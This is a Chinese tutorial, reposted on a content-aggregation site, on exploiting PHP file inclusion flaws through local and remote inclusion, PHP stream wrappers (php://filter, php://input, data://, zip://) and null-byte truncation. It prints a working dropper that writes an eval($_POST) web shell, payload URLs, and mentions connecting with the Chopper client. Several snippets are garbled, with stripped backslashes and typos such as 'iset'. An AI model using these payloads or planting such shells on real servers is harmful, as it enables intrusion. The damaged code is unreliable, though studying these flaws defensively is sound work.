最新文章专题视频专题问答1问答10问答100问答1000问答2000关键字专题1关键字专题50关键字专题500关键字专题1500TAG最新视频文章推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37视频文章20视频文章30视频文章40视频文章50视频文章60 视频文章70视频文章80视频文章90视频文章100视频文章120视频文章140 视频2关键字专题关键字专题tag2tag3文章专题文章专题2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章专题3
当前位置: 首页 - 科技 - 知识百科 - 正文

php文件包含漏洞原理浅探

来源:动视网 责编:小采 时间:2020-11-03 18:24:28
文档

php文件包含漏洞原理浅探

php文件包含漏洞原理浅探:文件包含漏洞原理浅探文件包含文件包含是指一个文件里面包含另外一个文件;开发过程中,重复使用的函数会写入单独的文件中,需要使用该函数的时候直接从程序中调用该文件即可,这一个过程就是文件包含由于文件包含的功能特性,导致客户端可以调用一个恶意
推荐度:
导读php文件包含漏洞原理浅探:文件包含漏洞原理浅探文件包含文件包含是指一个文件里面包含另外一个文件;开发过程中,重复使用的函数会写入单独的文件中,需要使用该函数的时候直接从程序中调用该文件即可,这一个过程就是文件包含由于文件包含的功能特性,导致客户端可以调用一个恶意


综合特性:利用该特性包含文件的方法,访问本地的其它文件均会执行php解析或者回显文本的内容;尤其是系统敏感文件,例如php.ini配置文件、my.ini配置文件等敏感信息,而文件的路径则需要结合其它姿势来获得(例如上面利用error回显的方式)

重要的一点:得具有文件的操作权限哦

远程包含Shell

远程包含文本的条件是 allow_url_fopen= on

创建shell.txt(功能:在服务端本地创建一句话木马脚本)

<?php
 $key= ("<?php @eval($_POST['mirror']);?>");//$符号需要转义要按字符存
 $file = fopen("shell.php","w");
 fwrite($file, $key);
 fclose($file);
?>

构造:http://127.0.0.1/?url=..xxshell.txt

远程包含文本执行成功后,服务端本地会创建一个"shell.php"一句话木马执行文件

shell.php创建后,使用“菜刀”连接一句话:

喏!包含执行文件创建本地一个shell.php一句话木马,然后菜刀连木马!一梭子搞定!

文件包含配合上传

利用web应用的上传功能,上传一张伪木马图片,然后利用文件包含执行已上传的图片,然后伪木马图片的功能就是被包含执行后在服务端本地创建一个木马执行php文件

PHP封装协议利用

PHP内置很多的PHP封装协议(详细见官方文档),封装协议的功能和文件函数(fopen(),copy(),file_exists(),filesize())提供的功能相似

allow_url_fopen:on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等

考虑安全都是全部关闭

内置封装协议

【引用官方文档】

  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) 网址
  • ftp:// — 访问 FTP(s) URLs
  • data:// — 数据(RFC 2397)
  • glob:// — 查找匹配的文件路径模式
  • phar:// — PHP 归档
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — 音频流
  • expect:// — 处理交互式的流
  • file://协议:

    访问本地文件系统

    file://[本地文件的绝对路径和文件名]

    php://协议:

    访问各个IO流

    需要开启 allow_url_include: on

  • php://stdin:直接访问PHP进程相应的输入或输出流(只读)

  • php://stdout:直接访问PHP进程相应的输入或输出流(只写)

  • php://stderr:直接访问PHP进程相应的输入或输出流(只写)

  • php://filter:进行任意文件读取的利用

  • php://input:访问请求的原始数据的只读流,将post请求中的数据作为php解析

  • php://output:只写的数据流,允许print和echo方式写入到输出缓存中

  • php://fd: 允许直接访问指定的文件描述符

    更多详细可以参考官方php://协议文档

  • zip://协议:

    (zip:// , bzip2:// , zlib:// )属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名

    zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

    注意 井字符号 ’ # ‘ 在url中需要转为 %23

    data://协议:

    data://text/plain;base64,[string_base64加密后]

    glob://协议:

    查询匹配的文件路径模式

    glob://[url]
    <?php
    // 循环 ext/spl/examples/ 目录里所有 *.php 文件
    // 并打印文件名和文件尺寸
    $it = new DirectoryIterator("glob://ext/spl/examples/*.php");
    foreach($it as $f) {
     printf("%s: %.1FK
    ", $f->getFilename(), $f->getSize()/1024);
    }
    ?>

    expect://协议:

    处理交互式数据流(默认未开启,需要安装PECL—Expect扩展)

    expect://command

    参见文章:php伪协议实现命令执行的七种姿势

    读取PHP文件

    利用file://读取文件内容

    file://[本地文件的绝对路径和文件名]

    利用php://filter读取php文件内容

    http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php

    这里的结果是经过Base64加密的

    利用php://input:

    使用php://input可以执行PHP语句,但是受限于allow_utl_include= On

    url text:

    http://127.0.0.1/index.php/?url=php://input

    Post data:

    <?php phpinfo();?>

    喏!利用“php://input"执行php代码”post data数据内容“,这里只是回显phpinfo(),如果我们利用php://input执行服务端本地创建php一句话木马文件,后果可想而知

    利用data://:

    受限于allow_utl_include= Onphp.ini配置

    ?file=[data://text/plain;base64,[base64编码加密的payload)]

    注意没有php闭合标签

    利用zip://:

    ?url=zip://C:UsersMirrorDesktop/zip.zip%23shell.php

    总结

    上面这张图是笔者从FREEBUF漏斗社区的文章中copy来的,算是一个不错的总结^_^

    截断包含

    magic_quotes_gpc = off函数为Off状态才可以使用,因为在On状态下%00会被转义导致无法截断;https://www.cnblogs.com/timelesszhuang/p/3726736.html

    PHP6/7关闭了magic_quotes_gpc函数: PHP67关闭magic_quotes_gpc对程序的影响

    文件包含的漏洞修复,尤其是include()相关文件包含函数,只要限制后缀名就好了?

    <?php
     if(iset($_GET['url'])){
     include $_GET['url'].".php";
     } else{
     include 'home.php';
     }
    ?>

    上述程序就是固定限制后缀名,用户只需要指明文件名就可以,不需要用户提交后缀名

    现在我们利用之前的包含手段,包含"shell.php"文件

    http://127.0.0.1/index.php/?url=shell.php

    由于程序固定了文件后缀格式,于是在后台会构成

    shell.php.php

    而include()无法查找到“shell.php.php”,故此导致报错

    采用字节截断

    http://127.0.0.1/index.php/?url=shell.php%00

    PHP5.2+的版本渐渐的都修复了字节截断,所以很少有利用了

    笔者不做过多的细节说明^_^

    本文来自Gxlcms,php教程栏目,欢迎学习!

    文档

    php文件包含漏洞原理浅探

    php文件包含漏洞原理浅探:文件包含漏洞原理浅探文件包含文件包含是指一个文件里面包含另外一个文件;开发过程中,重复使用的函数会写入单独的文件中,需要使用该函数的时候直接从程序中调用该文件即可,这一个过程就是文件包含由于文件包含的功能特性,导致客户端可以调用一个恶意
    推荐度:
    标签: 原理 php php文件
    • 热门焦点

    最新推荐

    猜你喜欢

    热门推荐

    专题
    Top